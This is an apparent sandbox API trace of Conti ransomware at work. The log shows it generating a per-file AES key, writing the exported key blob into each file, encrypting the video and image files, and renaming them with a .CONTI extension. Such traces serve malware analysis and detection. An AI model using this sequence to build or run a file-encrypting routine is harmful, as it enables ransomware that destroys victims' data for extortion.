	[0146.012] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.421] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png") returned="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png"
	[0146.421] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png.CONTI") returned="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png.CONTI"
	[0146.421] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png" (normalized: "c:\\users\\fd1hvy\\pictures\\l4lpi4_ocq9ojzzunfy.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\l4Lpi4_OcQ9ojZzUNFy.png.CONTI" (normalized: "c:\\users\\fd1hvy\\pictures\\l4lpi4_ocq9ojzzunfy.png.conti")) returned 1
	[0146.423] GetProcessHeap () returned 0x1720000
	[0146.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.423] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.423] GetProcessHeap () returned 0x1720000
	[0146.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65de8b0 | out: hHeap=0x1720000) returned 1
	[0146.423] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0146.423] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d19b8 | out: phKey=0x65d19b8*=0x17deed0) returned 1
	[0146.423] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d19bc, pdwDataLen=0x3bbfde4 | out: pbData=0x65d19bc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.424] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\bcokqxc8i.mkv")) returned 0x20
	[0146.424] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\bcokqxc8i.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0146.424] GetLastError () returned 0x0
	[0146.424] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=33374) returned 1
	[0146.424] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x825e
	[0146.424] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.425] SetEndOfFile (hFile=0x388) returned 1
	[0146.425] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.425] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.425] WriteFile (in: hFile=0x388, lpBuffer=0x65d19bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d19bc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.426] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.426] ReadFile (in: hFile=0x388, lpBuffer=0x9880000, nNumberOfBytesToRead=0x825e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x825e, lpOverlapped=0x0) returned 1
	[0146.427] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x825e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x8260) returned 1
	[0146.427] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.427] WriteFile (in: hFile=0x388, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x8260, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x8260, lpOverlapped=0x0) returned 1
	[0146.427] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.427] WriteFile (in: hFile=0x388, lpBuffer=0x65d19b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d19b0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.427] SetFilePointer (in: hFile=0x388, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.427] CloseHandle (hObject=0x388) returned 1
	[0146.428] GetProcessHeap () returned 0x1720000
	[0146.428] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.428] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv"
	[0146.428] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv.CONTI"
	[0146.428] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\bcokqxc8i.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\BCokqXC8I.mkv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\bcokqxc8i.mkv.conti")) returned 1
	[0146.429] GetProcessHeap () returned 0x1720000
	[0146.429] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.429] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.429] GetProcessHeap () returned 0x1720000
	[0146.429] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b7adc0 | out: hHeap=0x1720000) returned 1
	[0146.429] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0146.429] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d12e0 | out: phKey=0x65d12e0*=0x17deed0) returned 1
	[0146.429] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d12e4, pdwDataLen=0x3bbfde4 | out: pbData=0x65d12e4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.430] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\cnp1kr.mp4")) returned 0x20
	[0146.433] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\cnp1kr.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0146.433] GetLastError () returned 0x0
	[0146.433] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=91750) returned 1
	[0146.433] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16666
	[0146.433] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.433] SetEndOfFile (hFile=0x494) returned 1
	[0146.433] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.433] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.433] WriteFile (in: hFile=0x494, lpBuffer=0x65d12e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d12e4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.437] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.437] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x16666, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x16666, lpOverlapped=0x0) returned 1
	[0146.438] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x16666, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x16670) returned 1
	[0146.438] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.438] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x16670, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x16670, lpOverlapped=0x0) returned 1
	[0146.439] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.439] WriteFile (in: hFile=0x494, lpBuffer=0x65d12d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d12d8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.439] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.439] CloseHandle (hObject=0x494) returned 1
	[0146.439] GetProcessHeap () returned 0x1720000
	[0146.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.439] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4"
	[0146.439] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4.CONTI"
	[0146.439] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\cnp1kr.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\cnp1kr.mp4.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\cnp1kr.mp4.conti")) returned 1
	[0146.440] GetProcessHeap () returned 0x1720000
	[0146.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.440] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.440] GetProcessHeap () returned 0x1720000
	[0146.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5368 | out: hHeap=0x1720000) returned 1
	[0146.440] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0146.440] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65cf538 | out: phKey=0x65cf538*=0x17deed0) returned 1
	[0146.440] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cf53c, pdwDataLen=0x3bbfde4 | out: pbData=0x65cf53c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.441] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\fdvnx1c.flv")) returned 0x20
	[0146.441] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\fdvnx1c.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0146.441] GetLastError () returned 0x0
	[0146.441] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=101181) returned 1
	[0146.441] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18b3d
	[0146.441] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.441] SetEndOfFile (hFile=0x494) returned 1
	[0146.441] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.441] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.442] WriteFile (in: hFile=0x494, lpBuffer=0x65cf53c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65cf53c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.448] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.448] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0x18b3d, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x18b3d, lpOverlapped=0x0) returned 1
	[0146.450] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x18b3d, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x18b40) returned 1
	[0146.451] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.451] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x18b40, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x18b40, lpOverlapped=0x0) returned 1
	[0146.451] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.451] WriteFile (in: hFile=0x494, lpBuffer=0x65cf530*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65cf530*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.452] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.452] CloseHandle (hObject=0x494) returned 1
	[0146.452] GetProcessHeap () returned 0x1720000
	[0146.452] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.452] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv"
	[0146.452] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv.CONTI"
	[0146.452] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\fdvnx1c.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\fDVNX1c.flv.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\fdvnx1c.flv.conti")) returned 1
	[0146.452] GetProcessHeap () returned 0x1720000
	[0146.452] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.452] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.452] GetProcessHeap () returned 0x1720000
	[0146.453] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c55c0 | out: hHeap=0x1720000) returned 1
	[0146.453] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0146.453] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x65d1c00 | out: phKey=0x65d1c00*=0x17deed0) returned 1
	[0146.453] CryptExportKey (in: hKey=0x17deed0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d1c04, pdwDataLen=0x3bbfde4 | out: pbData=0x65d1c04*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0146.453] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\nkbjgszig0c95q.swf")) returned 0x20
	[0146.454] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\nkbjgszig0c95q.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0146.454] GetLastError () returned 0x0
	[0146.454] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=64312) returned 1
	[0146.454] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xfb38
	[0146.454] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.454] SetEndOfFile (hFile=0x494) returned 1
	[0146.454] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.454] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.454] WriteFile (in: hFile=0x494, lpBuffer=0x65d1c04*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x65d1c04*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0146.456] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.456] ReadFile (in: hFile=0x494, lpBuffer=0x9880000, nNumberOfBytesToRead=0xfb38, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xfb38, lpOverlapped=0x0) returned 1
	[0146.457] CryptEncrypt (in: hKey=0x17deed0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xfb38, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xfb40) returned 1
	[0146.458] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0146.458] WriteFile (in: hFile=0x494, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xfb40, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xfb40, lpOverlapped=0x0) returned 1
	[0146.458] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0146.458] WriteFile (in: hFile=0x494, lpBuffer=0x65d1bf8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x65d1bf8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0146.458] SetFilePointer (in: hFile=0x494, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0146.458] CloseHandle (hObject=0x494) returned 1
	[0146.458] GetProcessHeap () returned 0x1720000
	[0146.458] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6ba60f0
	[0146.458] lstrcpyW (in: lpString1=0x6ba60f0, lpString2="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf"
	[0146.458] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf.CONTI") returned="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf.CONTI"
	[0146.458] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\nkbjgszig0c95q.swf"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\dMvJ3KsTDs3\\2vv9b5B\\nkbJgszig0c95q.swf.CONTI" (normalized: "c:\\users\\fd1hvy\\videos\\dmvj3kstds3\\2vv9b5b\\nkbjgszig0c95q.swf.conti")) returned 1
	[0146.459] GetProcessHeap () returned 0x1720000
	[0146.459] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6ba60f0 | out: hHeap=0x1720000) returned 1
	[0146.459] CryptDestroyKey (hKey=0x17deed0) returned 1
	[0146.459] GetProcessHeap () returned 0x1720000
	[0146.459] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7a88 | out: hHeap=0x1720000) returned 1
	[0146.459] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
